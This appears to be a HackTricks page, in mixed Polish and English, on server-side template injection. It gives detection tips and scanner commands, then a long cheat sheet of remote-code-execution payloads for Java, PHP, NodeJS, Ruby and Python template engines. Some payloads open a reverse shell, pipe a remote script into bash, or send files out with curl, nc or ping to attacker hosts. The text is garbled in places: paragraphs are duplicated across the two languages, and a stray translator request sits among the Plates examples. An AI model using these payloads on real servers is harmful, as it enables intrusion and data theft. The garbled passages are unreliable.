SSTI (Server Side Template Injection)
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Czym jest SSTI (Server-Side Template Injection)
Server-side template injection jest luką, która występuje, gdy atakujący może wstrzyknąć złośliwy kod do szablonu wykonywanego po stronie serwera. Ta luka może występować w różnych technologiach, w tym w Jinja.
Jinja jest popularnym silnikiem szablonów używanym w aplikacjach webowych. Rozważmy przykład, który demonstruje podatny fragment kodu używający Jinja:
output = template.render(name=request.args.get('name'))
W tym podatnym fragmencie kodu parametr name z żądania użytkownika jest bezpośrednio przekazywany do szablonu przy użyciu funkcji render. To może potencjalnie pozwolić atakującemu na wstrzyknięcie złośliwego kodu do parametru name, co może doprowadzić do server-side template injection.
Na przykład atakujący mógłby skonstruować żądanie z payloadem takim jak poniżej:
http://vulnerable-website.com/?name={{bad-stuff-here}}
The payload {{bad-stuff-here}} is injected into the name parameter. This payload can contain Jinja template directives that enable the attacker to execute unauthorized code or manipulate the template engine, potentially gaining control over the server.
Ten payload {{bad-stuff-here}} jest wstrzykiwany do parametru name. Ten payload może zawierać dyrektywy szablonów Jinja, które umożliwiają atakującemu wykonanie nieautoryzowanego kodu lub manipulację silnikiem szablonów, co potencjalnie pozwala na przejęcie kontroli nad serwerem.
To prevent server-side template injection vulnerabilities, developers should ensure that user input is properly sanitized and validated before being inserted into templates. Implementing input validation and using context-aware escaping techniques can help mitigate the risk of this vulnerability.
Aby zapobiec Server-Side Template Injection, deweloperzy powinni upewnić się, że dane wejściowe od użytkownika są odpowiednio oczyszczane i walidowane przed wstawieniem do szablonów. Wdrożenie walidacji wejścia i stosowanie kontekstowego escapingu może pomóc zredukować ryzyko tej podatności.
Detection
To detect Server-Side Template Injection (SSTI), initially, fuzzing the template is a straightforward approach. This involves injecting a sequence of special characters (${{<%[%'"}}%\) into the template and analyzing the differences in the server’s response to regular data versus this special payload. Vulnerability indicators include:
Aby wykryć Server-Side Template Injection (SSTI), początkowo fuzzing the template jest prostym podejściem. Polega to na wstrzyknięciu sekwencji znaków specjalnych (${{<%[%'"}}%\) do szablonu i analizie różnic w odpowiedzi serwera dla zwykłych danych w porównaniu z tym specjalnym payloadem. Wskaźniki podatności obejmują:
- Thrown errors, revealing the vulnerability and potentially the template engine.
- Brakujące błędy lub wyjątkowe responsy, które ujawniają podatność i potencjalnie rodzaj używanego silnika szablonów.
- Absence of the payload in the reflection, or parts of it missing, implying the server processes it differently than regular data.
- Brak payloadu w odbiciu albo brakujące fragmenty payloadu, co sugeruje, że serwer przetwarza go inaczej niż zwykłe dane.
- Plaintext Context: Distinguish from XSS by checking if the server evaluates template expressions (e.g.,
{{7*7}},${7*7}). - Kontekst tekstu jawnego: Odróżnij od XSS, sprawdzając, czy serwer ocenia wyrażenia szablonu (np.
{{7*7}},${7*7}). - Code Context: Confirm vulnerability by altering input parameters. For instance, changing
greetinginhttp://vulnerable-website.com/?greeting=data.usernameto see if the server’s output is dynamic or fixed, like ingreeting=data.username}}helloreturning the username. - Kontekst kodu: Potwierdź podatność przez modyfikację parametrów wejściowych. Na przykład zmieniając
greetingwhttp://vulnerable-website.com/?greeting=data.username, aby sprawdzić, czy wynik serwera jest dynamiczny czy stały — np.greeting=data.username}}hellozwracające nazwę użytkownika.
Identification Phase
Identifying the template engine involves analyzing error messages or manually testing various language-specific payloads. Common payloads causing errors include ${7/0}, {{7/0}}, and <%= 7/0 %>. Observing the server’s response to mathematical operations helps pinpoint the specific template engine.
Identyfikacja silnika szablonów polega na analizie komunikatów o błędach lub ręcznym testowaniu różnych payloadów specyficznych dla danego języka. Typowe payloady wywołujące błędy to ${7/0}, {{7/0}} oraz <%= 7/0 %>. Obserwacja odpowiedzi serwera na operacje matematyczne pomaga ustalić, który dokładnie silnik szablonów jest używany.
Identification by payloads
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg
- More info in https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
- Więcej informacji: https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Tools
TInjA
an efficient SSTI + CSTI scanner which utilizes novel polyglots wydajny skaner SSTI + CSTI, który wykorzystuje nowe polyglots
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
SSTImap
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s
Tplmap
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
Template Injection Table
interactivezna tabela zawierająca najbardziej efektywne template injection polyglots wraz z oczekiwanymi odpowiedziami 44 najważniejszych template engines.
Exploits
Generic
W tej wordlist możesz znaleźć zmienne zdefiniowane w środowiskach niektórych z wymienionych poniżej engines:
- https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt
- https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt
Java
Java - Basic injection
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
Java - Pobierz zmienne środowiskowe systemu
${T(java.lang.System).getenv()}
Java - Pobierz /etc/passwd
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
FreeMarker (Java)
Możesz przetestować swoje payloads na https://try.freemarker.apache.org
{{7*7}} = {{7*7}}${7*7} = 49#{7*7} = 49 -- (legacy)${7*'7'} Nothing${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
Freemarker - Sandbox bypass
⚠️ działa tylko na wersjach Freemarker poniżej 2.3.30
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
Więcej informacji
- W sekcji FreeMarker na https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker
Velocity (Java)
// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end
Więcej informacji
- W sekcji Velocity na https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity
Thymeleaf
W Thymeleaf powszechnym testem pod kątem SSTI jest wyrażenie ${7*7}, które także działa w tym silniku szablonów. W celu potencjalnego remote code execution można użyć wyrażeń takich jak poniższe:
- SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
- OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
Thymeleaf wymaga umieszczania tych wyrażeń w określonych atrybutach. Jednakże expression inlining jest obsługiwane dla innych miejsc szablonu, przy użyciu składni takiej jak [[...]] lub [(...)]. W związku z tym prosty payload testowy SSTI może wyglądać jak [[${7*7}]].
Jednakże prawdopodobieństwo zadziałania takiego payloadu jest zazwyczaj niskie. Domyślna konfiguracja Thymeleaf nie wspiera dynamicznego generowania szablonów — szablony muszą być z góry zdefiniowane. Programiści musieliby zaimplementować własny TemplateResolver, aby tworzyć szablony ze stringów dynamicznie, co jest rzadkie.
Thymeleaf oferuje także expression preprocessing, gdzie wyrażenia otoczone podwójnymi podkreśleniami (__...__) są wstępnie przetwarzane. Tą funkcję można wykorzystać przy konstruowaniu wyrażeń, jak pokazano w dokumentacji Thymeleaf:
#{selection.__${sel.code}__}
Przykład podatności w Thymeleaf
Rozważ następujący fragment kodu, który może być podatny na wykorzystanie:
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
To wskazuje, że jeśli silnik szablonów przetworzy te wejścia nieprawidłowo, może to prowadzić do remote code execution uzyskując dostęp do URL-i takich jak:
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
Więcej informacji
Spring Framework (Java)
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
Bypass filters
Można użyć wielu wyrażeń zmiennych — jeśli ${...} nie działa, spróbuj #{...}, *{...}, @{...} lub ~{...}.
- Odczytaj
/etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
- Niestandardowy skrypt do generowania payloadów
#!/usr/bin/python3
## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"
from sys import argv
cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'
count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1
print(base_payload + end_payload)
Więcej informacji
Spring View Manipulation (Java)
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
Pebble (Java)
{{ someString.toUPPERCASE() }}
Stara wersja Pebble ( < wersja 3.0.9):
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
Nowa wersja Pebble :
{% raw %}
{% set cmd = 'id' %}
{% endraw %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
Jinjava (Java)
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
Jinjava to projekt open source rozwijany przez Hubspot, dostępny pod https://github.com/HubSpot/jinjava/
Jinjava - Command execution
Naprawione przez https://github.com/HubSpot/jinjava/pull/230
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
Więcej informacji
Hubspot - HuBL (Java)
{% %}ograniczniki instrukcji{{ }}ograniczniki wyrażeń{# #}ograniczniki komentarzy{{ request }}- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}- “A”{{'a'.concat('b')}}- “ab”{{'a'.getClass()}}- java.lang.String{{request.getClass()}}- class com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Wyszukaj “com.hubspot.content.hubl.context.TemplateContextRequest” i odkryjesz Jinjava project on Github.
{{request.isDebug()}}
//output: False
//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4
//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
//It was also possible to call methods on the created object by combining the
{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}
{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx
//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e
//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution
//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Więcej informacji
Expression Language - EL (Java)
${"aaaa"}- “aaaa”${99999+1}- 100000.#{7*7}- 49${{7*7}}- 49${{request}}, ${{session}}, {{faceContext}}
Expression Language (EL) to podstawowa funkcja, która ułatwia interakcję między warstwą prezentacji (np. strony internetowe) a logiką aplikacji (np. managed beans) w JavaEE. Jest szeroko stosowana w wielu technologiach JavaEE, aby usprawnić tę komunikację. Główne technologie JavaEE wykorzystujące EL to:
- JavaServer Faces (JSF): Używa EL do powiązania komponentów na stronach JSF z odpowiadającymi im danymi i akcjami po stronie backendu.
- JavaServer Pages (JSP): W JSP EL służy do dostępu i manipulacji danymi na stronach JSP, co ułatwia łączenie elementów strony z danymi aplikacji.
- Contexts and Dependency Injection for Java EE (CDI): EL integruje się z CDI, umożliwiając płynną interakcję między warstwą sieciową a managed beans, co zapewnia spójniejszą strukturę aplikacji.
Sprawdź następującą stronę, aby dowiedzieć się więcej o eksploatacji interpreterów EL:
Groovy (Java)
Poniższe obejścia Security Manager zostały zaczerpnięte z tego writeup.
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x
//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x
//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
Inne Java
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg
- Więcej informacji w https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Smarty (PHP)
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
Więcej informacji
- W sekcji Smarty na https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty
Twig (PHP)
{{7*7}} = 49${7*7} = ${7*7}{{7*'7'}} = 49{{1/0}} = Error{{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}
#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}
Twig - Format szablonu
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
Więcej informacji
- W sekcji Twig i Twig (Sandboxed) na https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig
Plates (PHP)
Plates to silnik szablonów natywny dla PHP, czerpiący inspirację z Twig. Jednak w przeciwieństwie do Twig, który wprowadza nową składnię, Plates wykorzystuje natywny kod PHP w szablonach, dzięki czemu jest intuicyjny dla deweloperów PHP.
Kontroler:
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
Proszę wklej zawartość pliku src/pentesting-web/ssti-server-side-template-injection/README.md, którą mam przetłumaczyć.
<?php $this->layout('template', ['title' => 'User Profile']) ?>
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
Szablon układu:
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>
Więcej informacji
PHPlib i HTML_Template_PHPLIB (PHP)
HTML_Template_PHPLIB jest takie samo jak PHPlib, ale przeniesione do Pear.
authors.tpl
<html>
<head>
<title>{PAGE_TITLE}</title>
</head>
<body>
<table>
<caption>
Authors
</caption>
<thead>
<tr>
<th>Name</th>
<th>Email</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="2">{NUM_AUTHORS}</td>
</tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr>
<td>{AUTHOR_NAME}</td>
<td>{AUTHOR_EMAIL}</td>
</tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>
authors.php
<?php
//we want to display this author list
$authors = array(
'Christian Weiske' => 'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
Więcej informacji
Inne PHP
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg
- Więcej informacji na https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Jade (NodeJS)
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
Więcej informacji
- W sekcji Jade na https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade–codepen
patTemplate (PHP)
patTemplate niekompilujący silnik szablonów PHP, który używa tagów XML do podziału dokumentu na różne części
<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>
Więcej informacji
Handlebars (NodeJS)
Path Traversal (więcej informacji here).
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
- = Błąd
- ${7*7} = ${7*7}
- Nic
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
Więcej informacji
JsRender (NodeJS)
| Template | Description |
|---|---|
| Ocenić i wyrenderować wyjście | |
| Ocenić i wyrenderować wyjście zakodowane w HTML | |
| Komentarz | |
| and | Pozwala na kod (domyślnie wyłączone) |
- = 49
Po stronie klienta
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
Po stronie serwera
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
Więcej informacji
PugJs (NodeJS)
#{7*7} = 49#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
Przykład renderowania po stronie serwera
var pugjs = require("pug")
home = pugjs.render(injected_page)
Więcej informacji
NUNJUCKS (NodeJS)
- {{7*7}} = 49
- {{foo}} = Brak wyjścia
- #{7*7} = #{7*7}
- {{console.log(1)}} = Błąd
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
)()
}
}
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
)()
}
}
Więcej informacji
Inne w NodeJS
 (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg
 (1) (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg
- Więcej informacji w https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
ERB (Ruby)
{{7*7}} = {{7*7}}${7*7} = ${7*7}<%= 7*7 %> = 49<%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
Więcej informacji
Slim (Ruby)
{ 7 * 7 }
{ %x|env| }
Więcej informacji
Inne Ruby
.png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg
.png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg
- Więcej informacji: https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Python
Sprawdź następującą stronę, aby poznać triki dotyczące arbitrary command execution bypassing sandboxes w Pythonie:
Tornado (Python)
{{7*7}} = 49${7*7} = ${7*7}{{foobar}} = Error{{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}
{% import os %}
{% endraw %}
{{os.system('whoami')}}
{{os.system('whoami')}}
Więcej informacji
Jinja2 (Python)
